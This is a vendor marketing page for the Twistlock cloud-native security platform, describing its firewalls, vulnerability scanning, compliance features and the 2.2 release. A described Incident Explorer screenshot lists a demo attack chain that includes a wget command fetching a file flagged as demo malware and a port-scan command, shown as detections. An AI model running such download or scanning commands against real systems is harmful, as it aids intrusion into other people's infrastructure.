



# Twistlock



Twistlock is the cloud native cybersecurity platform for modern applications. From precise, actionable vulnerability management to automatically-deployed runtime protection and firewalls, Twistlock protects applications across the development lifecycle and into production. Purpose-built for containers, serverless, and other leading technologies — Twistlock gives developers the speed they want, and CISOs the controls they need.

## KEY FEATURES



### Runtime Defense

From network and application firewalls, to container runtime defense, to host protection — Twistlock is the only security tool you need to defend your environment against active threats. Machine-learning powered runtime protection secures your entire environment: network, file system, processes and system calls.



### Vulnerability Management

Correlate risk to your specific environment with Vulnerability Explorer. Offering active scanning across the container lifecycle, from the CI process to registries to production servers. Detection and blocking across the OS layer, application framework and custom packages.



### Cloud Native Firewalls

Twistlock Cloud Native Application Firewall (CNAF) and Cloud Native Network Firewall (CNNF) offer continuous threat monitoring and defense for your environment.



### Compliance

Native support for the Docker and Kubernetes CIS Benchmarks, and provided templates for HIPAA and PCI compliance. Custom policy creation and enforcement via XCCDF.



### CI Integration

Plugins and direct integration for leading tools like Jenkins and TeamCity. Full API extensibility and a stand-alone scanner ensure that Twistlock integrates into the tools your developers already use to deliver software at speed.

## BENEFITS

### Automated

Advanced threat intelligence and machine learning capabilities deliver automated policy creation, runtime protection, and firewalling. As soon as code is built and deployed, Twistlock automatically acts based on your compliance state.

### Integrated

From CI/CD, to SIEM, to access control and secrets management, Twistlock integrates with the tools your developers use to deliver software and the tools your security teams already leverage for protection — the necessary combination of speed and visibility for today's enterprises.

### Scalable

Twistlock runs in any environment, be it bare metal, public cloud, or anything in between. Twistlock supports all leading cloud providers and operating systems. Built for the world's enterprises — Twistlock is engineered to automatically scale up and down as your environment and applications do.

# NEW IN TWISTLOCK 2.2

The latest release of Twistlock marks the 11th release of the Twistlock platform. Twistlock 2.2 adds powerful features: Cloud Native Network Firewall, Incident Explorer, runtime defense for container hosts, native deployment on Docker Swarm, integrated alerts for JIRA and Slack, and compliance monitoring and enforcement for Kubernetes.

Screenshot of Incident Explorer.

The screenshot displays the Twistlock Incident Explorer interface. The left sidebar shows navigation options: Dashboard, Defend (Firewalls, Runtime, Vulnerabilities, Compliance, Access), and Monitor (Firewalls, Runtime, Vulnerabilities, Compliance, Access). The main panel is titled 'Monitor / Runtime' and shows a 'Kill chain #1' for a container named '/youthful\_darwin'. The container details include Host name: john-test.c.cto-sandbox.internal, Image name: morello/httpd:latest, and Time: Aug 30, 2017 1:56:50 PM. The kill chain consists of 11 items, with the first four visible: 1. PROCESSES (8/30/17 1:57 PM) - /usr/bin/wget launched but is not found in the runtime model MD5:81874fc7756ee23a548db6ff224fc3c. Full command: wget https://cdn.twistlock.com/john/evil. 2. NETWORK (8/30/17 1:57 PM) - Connection to high risk IP 35.190.81178-443 based on a custom IP feed. 3. FILESYSTEM (8/30/17 1:57 PM) - /usr/bin/wget created /usr/local/apache2/evil, which is detected as evil-malware-demo malware in a custom malware feed. 4. PROCESSES (8/30/17 1:58 PM) - /usr/bin/mmap launched but is not found in the runtime model MD5:319f6a23f12dbffe552ba2e55ea988a3. Full command: mmap -p 80,8080,8081,8082,8083,8084,2375,30250,6443,9998 172.17.0.2. Below the kill chain is a table of incidents:

ID	Container	Image	Hostname	Date	Archive
#4	/k8s_rabbitmq_rabbitmq-3917772209-2hjgk_sock-s...	rabbitmq:3.6.8	john-test.c.cto-sandbox.internal	Sep 5, 2017 2:53:46 PM	
#1	/youthful_darwin	morello/httpd:latest	john-test.c.cto-sandbox.internal	Aug 30, 2017 1:56:50 PM	

## HIGHLIGHTS FROM OUR LATEST RELEASE

### Cloud Native Network Firewall

Built with similar capabilities to our recently released Cloud Native Application Firewall, Cloud Native Network Firewall is a container aware, machine learning driven, layer 3 firewall. CNNF enables you to centrally model, view, and enforce safe traffic flows across your environment and automatically block anomalies without human involvement.

### Incident Explorer

Incident Explorer utilizes machine intelligence to identify attack patterns in your environment and display them in a clear, actionable format. Rather than forcing you to manually sift through data and correlate multiple actions from multiple sensors, Incident Explorer automatically builds a chain of events to give you full visibility into an attack by highlighting key indicators — enabling more rapid and effective incident response.



LEARN MORE AT [Twistlock.com](https://www.twistlock.com)